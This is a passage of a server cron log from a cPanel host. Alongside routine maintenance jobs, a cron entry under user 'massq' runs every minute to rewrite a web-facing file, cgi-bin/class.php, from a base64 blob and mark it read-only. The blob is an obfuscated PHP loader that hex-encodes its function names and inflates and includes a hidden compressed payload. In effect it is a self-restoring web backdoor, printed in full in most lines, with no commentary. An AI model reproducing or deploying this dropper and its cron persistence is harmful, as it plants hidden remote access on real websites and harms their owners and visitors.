JRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:20:01 server CROND[7453]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 09:20:01 server CROND[7455]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 09:20:01 server CROND[7457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 09:20:01 server CROND[7456]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 09:20:01 server CROND[7459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:21:01 server CROND[7683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:22:01 server CROND[7752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:23:01 server CROND[7822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:24:01 server CROND[7909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:25:01 server CROND[7987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:25:01 server CROND[7988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 09:25:01 server CROND[7989]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 09:26:01 server CROND[8107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:27:01 server CROND[8242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:27:01 server CROND[8243]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 09:28:01 server CROND[8353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:29:01 server CROND[8441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:30:01 server CROND[8506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 09:30:01 server CROND[8507]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 09:30:01 server CROND[8508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:30:01 server CROND[8510]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 09:31:02 server CROND[8646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:32:01 server CROND[8724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:33:01 server CROND[8895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGU